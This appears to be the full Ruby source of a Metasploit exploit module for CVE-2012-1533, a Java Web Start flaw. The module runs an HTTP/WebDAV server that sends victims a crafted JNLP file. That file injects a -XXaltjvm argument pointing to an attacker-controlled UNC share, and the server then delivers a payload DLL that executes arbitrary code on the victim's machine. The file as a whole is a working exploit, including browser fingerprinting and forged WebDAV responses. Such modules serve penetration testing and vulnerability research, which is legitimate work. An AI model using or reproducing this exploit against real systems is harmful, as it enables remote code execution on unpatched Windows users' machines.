adfoster-r7
308 lines
10 KiB
Ruby
308 lines
10 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Sun Java Web Start Double Quote Injection',
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'Description' => %q{
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This module exploits a flaw in the Web Start component of the Sun Java
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Runtime Environment. Parameters initial-heap-size and max-heap-size in a JNLP
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file can contain a double quote which is not properly sanitized when creating
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the command line for javaw.exe. This allows the injection of the -XXaltjvm
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option to load a jvm.dll from a remote UNC path into the java process. Thus
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an attacker can execute arbitrary code in the context of a browser user.
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This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
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In order for this module to work, it must be run as root on a server that
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does not serve SMB (In most cases, this means non-Windows hosts). Additionally,
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the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
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Alternatively, a UNC path containing a jvm.dll can be specified, bypassing
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the Windows limitation for the Metasploit host.
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},
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'Author' => [
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# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs
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'Rh0 <rh0[at]z1p.biz>' # discovery and msf module
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],
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'References' => [
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[ 'CVE', '2012-1533' ],
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[ 'OSVDB', '86348' ],
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[ 'BID', '56046'],
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[ 'URL', 'https://www.oracle.com/security-alerts/javacpuoct2012.html' ],
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[ 'URL', 'https://pastebin.com/eUucVage']
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],
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'Platform' => 'win',
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'Payload' => {
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'Space' => 1024,
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'BadChars' => '',
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
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},
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'Targets' => [
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[ 'Automatic', {} ],
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[
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'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2012-10-16',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),
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OptString.new('URIPATH', [ true, 'The URI to use.', '/' ]),
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OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
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]
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)
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end
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def auto_target(cli, request)
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agent = request.headers['User-Agent']
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ret = nil
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# print_status("Agent: #{agent}")
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# Check for MSIE and/or WebDAV redirector requests
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if agent =~ %r{(Windows NT (5|6)\.(0|1|2)|MiniRedir/(5|6)\.(0|1|2))}
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ret = targets[1]
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elsif agent =~ /MSIE (6|7|8)\.0/
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ret = targets[1]
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else
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print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
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end
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ret
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end
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def on_request_uri(cli, request)
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# For this exploit, this does little besides ensures the user agent is a recognized one..
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mytarget = target
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if target.name == 'Automatic'
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mytarget = auto_target(cli, request)
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if (!mytarget)
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send_not_found(cli)
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return
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end
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end
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# Special case to process OPTIONS for /
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if (request.method == 'OPTIONS' and request.uri == '/')
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process_options(cli, request, mytarget)
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return
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end
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# Discard requests for ico files
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if (request.uri =~ /\.ico$/i)
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send_not_found(cli)
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return
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end
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# If there is no subdirectory in the request, we need to redirect.
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if (request.uri == '/') or !(request.uri =~ %r{/([^/]+)/})
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if (request.uri == '/')
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subdir = '/' + rand_text_alphanumeric(rand(8..15)) + '/'
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else
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subdir = request.uri + '/'
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end
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print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
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send_redirect(cli, subdir)
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return
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else
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share_name = ::Regexp.last_match(1)
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end
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# dispatch WebDAV requests based on method first
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case request.method
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when 'OPTIONS'
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process_options(cli, request, mytarget)
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when 'PROPFIND'
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process_propfind(cli, request, mytarget)
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when 'GET'
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process_get(cli, request, mytarget, share_name)
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when 'PUT'
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print_status("Sending 404 for PUT #{request.uri} ...")
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send_not_found(cli)
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else
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print_error("Unexpected request method encountered: #{request.method}")
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end
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end
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#
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# GET requests
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#
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def process_get(cli, request, _target, share_name)
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print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
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# dispatch based on extension
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if (request.uri =~ /\.dll$/i)
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#
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# DLL requests sent by IE and the WebDav Mini-Redirector
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#
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print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)).nil?)
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# Generate a DLL based on the payload
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dll_data = generate_payload_dll({ code: p.encoded })
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# Send it :)
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send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
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elsif (request.uri =~ /\.jnlp$/i)
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#
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# Send the jnlp document
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#
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# Prepare the UNC path...
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if (datastore['UNCPATH'])
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unc = datastore['UNCPATH'].dup
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else
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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unc = '\\\\' + my_host + '\\' + share_name
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end
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# NOTE: we ensure there's only a single backslash here since it will get escaped
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if unc[0, 2] == '\\\\'
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unc.slice!(0, 1)
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end
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# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
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# inject a parameter into the command line of javaw.exe
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# codebase, href and application-desc parameters successfully suppress java splash
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jnlp_data = <<~EOS
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<?xml version="1.0" encoding="UTF-8"?>
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<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10..19))}" href="#{Rex::Text.rand_text_alpha(rand(10..19))}.jnlp">
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<information>
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<title>Download</title>
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<vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>
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<description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>
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</information>
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<resources>
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<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
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</resources>
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<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10..19))}" />
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</jnlp>
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EOS
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print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
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else
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print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
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jnlp_name = Rex::Text.rand_text_alpha(rand(8..15))
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jnlp_path = get_resource
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if jnlp_path[-1, 1] != '/'
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jnlp_path << '/'
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end
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jnlp_path << request.uri.split('/')[-1] << '/'
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jnlp_path << jnlp_name << '.jnlp'
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send_redirect(cli, jnlp_path, '')
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end
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end
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#
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# OPTIONS requests sent by the WebDav Mini-Redirector
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#
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def process_options(cli, request, _target)
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print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
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headers = {
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# 'DASL' => '<DAV:sql>',
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# 'DAV' => '1, 2',
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'Allow' => 'OPTIONS, GET, PROPFIND',
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'Public' => 'OPTIONS, GET, PROPFIND'
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}
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send_response(cli, '', headers)
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end
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#
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# PROPFIND requests sent by the WebDav Mini-Redirector
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#
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def process_propfind(cli, request, _target)
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path = request.uri
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print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
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body = ''
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if (path =~ /\.dll$/i)
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# Response for the DLL
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print_status("Sending DLL multistatus for #{path} ...")
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# <lp1:getcontentlength>45056</lp1:getcontentlength>
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body = %(<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
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<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
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<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
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<lp2:executable>F</lp2:executable>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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)
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elsif (path =~ %r{/$}) or (!path.sub('/', '').index('/'))
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# Response for anything else (generally just /)
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print_status("Sending directory multistatus for #{path} ...")
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body = %(<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
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<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
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<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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)
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else
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print_status("Sending 404 for #{path} ...")
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send_not_found(cli)
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return
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end
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# send the response
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resp = create_response(207, 'Multi-Status')
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resp.body = body
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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end
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#
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# Make sure we're on the right port/path to support WebDAV
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#
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def exploit
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if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
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raise 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
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end
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super
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end
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end
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